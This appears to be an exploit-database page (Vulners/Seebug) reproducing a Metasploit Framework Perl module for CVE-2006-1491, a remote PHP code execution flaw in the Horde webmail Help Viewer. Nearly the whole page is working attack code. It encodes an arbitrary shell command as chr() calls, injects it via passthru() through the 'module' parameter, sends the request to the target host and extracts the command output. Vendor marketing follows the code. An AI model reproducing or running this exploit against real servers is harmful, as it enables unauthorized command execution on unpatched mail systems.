Lucene search
K

Horde <= 3.0.9, 3.1.0 (Help Viewer) Remote Code Execution (metasploit)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Horde <= 3.0.9, 3.1.0 (Help Viewer) Remote PHP Code Execution Vulnerabilit

Code

                                                ##
#        Title: Horde &#60;= 3.0.9, 3.1.0 (Help Viewer) Remote PHP Code Execution Vulnerability
#    Name: horde_help_module.pm
# License: Artistic/BSD/GPL
#         Info: Trying to get the command execution exploits out of the way on milw0rm.com. M&#39;s are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
#
## Coded by Inkubus &#60;[email protected]&#62;

package Msf::Exploit::horde_help_module;
use base &#34;Msf::Exploit&#34;;
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
	&#39;Name&#39;     =&#62; &#39;Horde help viewer module remote PHP code execution&#39;,
	&#39;Version&#39;  =&#62; &#39;$Revision: 1.0 $&#39;,
	&#39;Authors&#39;  =&#62; [ &#39;inkubus &#60; inkubus [at] inbox.lv &#62;&#39; ],
	&#39;Arch&#39;     =&#62; [ ],
	&#39;OS&#39;       =&#62; [ ],
	&#39;Priv&#39;     =&#62; 0,
	&#39;UserOpts&#39; =&#62;
	  {
		&#39;RHOST&#39; =&#62; [1, &#39;ADDR&#39;, &#39;The target address&#39;],
		&#39;RPORT&#39; =&#62; [1, &#39;PORT&#39;, &#39;The target port&#39;, 80],
		&#39;VHOST&#39; =&#62; [0, &#39;DATA&#39;, &#39;The virtual host name of the server&#39;],
		&#39;RPATH&#39; =&#62; [1, &#39;DATA&#39;, &#39;Path to the Horde help module&#39;, &#39;/horde/services/help/&#39;],
		&#39;SSL&#39;   =&#62; [0, &#39;BOOL&#39;, &#39;Use SSL&#39;],
	  },

	&#39;Description&#39; =&#62; Pex::Text::Freeform(qq{
			This module exploits an arbitrary PHP code execution flaw in the Horde web
		mail software. This vulnerability is only present in the &#34;Help Viewer Module&#34;.
		Horde versions 3.0 up to 3.0.9 and 3.1.0 are vulnerable.
}),

	&#39;Refs&#39; =&#62;
	  [
		[&#39;OSVDB&#39;, &#39;15945&#39;],
		[&#39;CVE&#39;,   &#39;2006-1491&#39;],
	  ],

	&#39;Payload&#39; =&#62;
	  {
		&#39;Space&#39; =&#62; 512,
		&#39;Keys&#39;  =&#62; [&#39;cmd&#39;, &#39;cmd_bash&#39;],
	  },

	&#39;Keys&#39; =&#62; [&#39;horde&#39;],

	&#39;DisclosureDate&#39; =&#62; &#39;Mar 28 2006&#39;,
  };

sub new {
	my $class = shift;
	my $self = $class-&#62;SUPER::new({&#39;Info&#39; =&#62; $info, &#39;Advanced&#39; =&#62; $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self-&#62;GetVar(&#39;RHOST&#39;);
	my $target_port    = $self-&#62;GetVar(&#39;RPORT&#39;);
	my $vhost          = $self-&#62;GetVar(&#39;VHOST&#39;) || $target_host;
	my $path           = $self-&#62;GetVar(&#39;RPATH&#39;);
	my $cmd            = $self-&#62;GetVar(&#39;EncodedPayload&#39;)-&#62;RawPayload;

	# Add an echo on each end for easy output capturing
	$cmd = &#34;echo _cmd_beg_;&#34;.$cmd.&#34;;echo _cmd_end_&#34;;

	# Encode the command as a set of chr() function calls
	my $byte = join(&#39;.&#39;, map { $_ = &#39;chr(&#39;.$_.&#39;)&#39; } unpack(&#39;C*&#39;, $cmd));

	# Create the get request data
	#my $data = &#34;?do=page&template={\${passthru($byte)}}&#34;;
	my $data = &#34;?show=about&module=;\&#34;.passthru($byte);&#39;.&#34;;

	my $req =
	  &#34;GET $path$data HTTP/1.1\r\n&#34;.
	  &#34;Host: $vhost:$target_port\r\n&#34;.
	  &#34;Content-Type: application/html\r\n&#34;.
	  &#34;Content-Length: &#34;. length($data).&#34;\r\n&#34;.
	  &#34;Connection: Close\r\n&#34;.
	  &#34;\r\n&#34;;

	my $s = Msf::Socket::Tcp-&#62;new(
		&#39;PeerAddr&#39;  =&#62; $target_host,
		&#39;PeerPort&#39;  =&#62; $target_port,
		&#39;LocalPort&#39; =&#62; $self-&#62;GetVar(&#39;CPORT&#39;),
		&#39;SSL&#39;       =&#62; $self-&#62;GetVar(&#39;SSL&#39;),
	  );

	if ($s-&#62;IsError){
		$self-&#62;PrintLine(&#39;[*] Error creating socket: &#39; . $s-&#62;GetError);
		return;
	}

	$self-&#62;PrintLine(&#34;[*] Sending the malicious Horde request...&#34;);

	$s-&#62;Send($req);

	my $results = $s-&#62;Recv(-1, 20);
	$s-&#62;Close();

	if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
		my $out = $1;
		$out =~ s/^\s+|\s+$//gs;
		if ($out) {
			$self-&#62;PrintLine(&#39;----------------------------------------&#39;);
			$self-&#62;PrintLine(&#39;&#39;);
			$self-&#62;PrintLine($out);
			$self-&#62;PrintLine(&#39;&#39;);
			$self-&#62;PrintLine(&#39;----------------------------------------&#39;);
		}
	}
	return;
}

1;

# milw0rm.com [2006-04-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation